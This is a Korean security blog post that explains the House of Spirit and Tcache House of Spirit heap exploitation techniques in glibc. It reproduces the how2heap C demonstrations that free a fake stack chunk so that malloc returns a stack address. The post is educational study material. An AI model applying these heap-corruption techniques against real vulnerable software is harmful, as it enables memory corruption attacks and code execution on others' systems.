HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • 아파치
  • JNDI
  • log4j
  • 취약점

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9
카테고리 없음

House of Spirit... Tcache House of Spirit ?

House of Spirit...  Tcache House of Spirit ?
카테고리 없음

House of Spirit... Tcache House of Spirit ?

2022. 2. 12. 16:56
728x90

House of Spirit

 

간단하게 House of Spirit의 개념에 대해서 설명을 하자면,

Stack에 fake chunk를 생성을 한 후, 해당 fake chunk를 free를 해준다.

그렇게 되면 fastbin list에 fake chunk의 주소가 추가가 될 것이다.

이 후 fake chunk와 동일한 크기 또는 작은 크기의 힙을 할당을 하게되면,

공격자가 만든 fake chunk가 있는 Stack으로 힙이 할당이 된다.

 

.

.

.

How2heap House_of_spirit

 

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

	fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
	unsigned long long *a;
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

	fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

	fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size

	fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
	fake_chunks[9] = 0x1234; // nextsize

	fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
	a = &fake_chunks[2];

	fprintf(stderr, "Freeing the overwritten pointer.\n");
	free(a);

	fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

 

해당 코드는 how2heap의 house_of_spirit이다.

Glibc 2.23버전에서 실행되고 현재 나온 버전이 glibc에서도 이용이 가능하다.

일단 코드의 흐름을 따라 가보겠다.

 

처음으로

malloc(1)을 통해서 heap을 할당을 한다.

이는 free이후 fastbin list에 들어가게 될 것이다.

 

 

unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

 

그 아래 줄을 보면 fake_chunks[10]을 정의를 해주는 것을 알 수가 있다.

house_of_spirit에서는 fake chunk를 두개를 만들어 주어야 한다.

이는 free를 할 경우 nextsize check 로직에 걸리기 때문이다.

일반적으로 free를 해줄 경우는 top chunk의 size가 있기 때문에 통과가 되지만.

fake chunk는 그렇지 않아서 next chunk의 size를 넣어야 한다.

 

[FREE]NextSize Check

 

GitHub - umbum/pwn-archive

Contribute to umbum/pwn-archive development by creating an account on GitHub.

github.com

해당 부분을 확인을 해보면 확인이 가능하다.

 

fake_chunks[1] = 0x40; // this is the size

 

이후 fake_chunks의 size를 지정을 해준다.

이도 각 청크의 최소 size를 확인하는 free의 로직에 걸리지 않기 위해서다.

 

 

[FREE]MINSIZE Check

 

GitHub - umbum/pwn-archive

Contribute to umbum/pwn-archive development by creating an account on GitHub.

github.com

동일하게 해당 부분을 확인을 하면 알 수가 있다.

 

a = &fake_chunks[2];

 

그 다음으로 a포인터를 fake_chunk의 주소로 overwrite해준다.

이후 a를 free를 시키면 binlist에 fake_chunk의 주소가 들어갈 것이다.

 

해당 크기의 heap을 재할당을 하면 stack의 fake_chunk에 할당이 되는 것을 볼 수가 있다.

 

 

 

 

 

Tcache House of Spirit

 

Glibc 2.27 이후부터 tcache라는 것이 생기게 되면서,

여러가지 heap exploit 기술들이 약간씩 변화가 생긴 것들이 있다.

House of spirit 부분에서는 그렇게 큰 변화가 생기지는 않았다.

 

이전에는 free를 하게 되면 해당 크기에 맞는 binlist에 들어가게 되었지만,

2.27 버전 이후에는 0x408 이하의 size는 tcache라는 곳에 임시적으로 들어간 후에 

해당 크기에 맞는 곳으로 할당이 되게 된다.

 

how2heap tcache_house_of_spirit

 

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates the house of spirit attack on tcache.\n");
	printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
	printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
	printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

	printf("Ok. Let's start with the example!.\n\n");


	printf("Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
	unsigned long long *a; //pointer that will be overwritten
	unsigned long long fake_chunks[10]; //fake chunk region

	printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

	printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size


	printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

	a = &fake_chunks[2];

	printf("Freeing the overwritten pointer.\n");
	free(a);

	printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	void *b = malloc(0x30);
	printf("malloc(0x30): %p\n", b);

	assert((long)b == (long)&fake_chunks[2]);
}

 

모든 과정이 동일한데 두가지 다른 점이 있다.

 

첫번째로 fake chunk를 하나만 만들어도 된다는 점이고,

두번째로는 tcache chunk의 경우에는 prev_inunse bit가 free에 의해서 무시가 된다.

하지만 lsb 두번째 세번째 bit는 이전과 동일하다.

 

이외에는 다른 점이 없기 때문에

이쯤에서 설명을 끝내겠다.

.

.

.

.

 

 

 

 

 

  • House of Spirit
  • Tcache House of Spirit
HO_9
HO_9

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.